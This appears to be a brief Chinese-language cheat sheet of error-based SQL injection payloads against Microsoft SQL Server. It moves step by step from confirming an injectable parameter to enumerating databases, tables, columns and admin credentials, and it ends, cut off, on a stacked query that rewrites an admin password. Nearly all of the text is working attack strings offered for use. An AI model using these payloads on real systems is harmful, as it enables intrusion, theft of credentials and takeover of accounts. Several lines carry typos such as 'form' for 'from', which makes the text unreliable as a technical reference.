ms sql server
- 判断注入点:
and 1=1
返回正常and 1=2
返回错误
✌以下注入判断都是通过错误信息来进行查询数据,和修改数据库
- 判断版本号 :
and @@ version>0
: mircosoft sql server :t5.0->win2000 server ,nt5.2->win2003 ,nt6.1->win7 - 判断当前连接的数据库用户
and user >0;
- 判断当前连接数据库名
and db_name()>0;
- 判断其他库:修改dbid值:
and (select name form master.dbo.sysdatabases where dbid=6)>0
- 判断表名:
't_jiaozhu':and (select top 1 name from sysobjects where xtype='u' and status>0)>0
- 判断其他名:
and select(top 1 name from sysobjects)
- 判断列名:
and(select top 1 col_name(object_id('admin'),1) from sysobjects)>0
- 判断值:
and (select username form admin)>0
- 修改密码:
; update article.dbo.admin set password=&#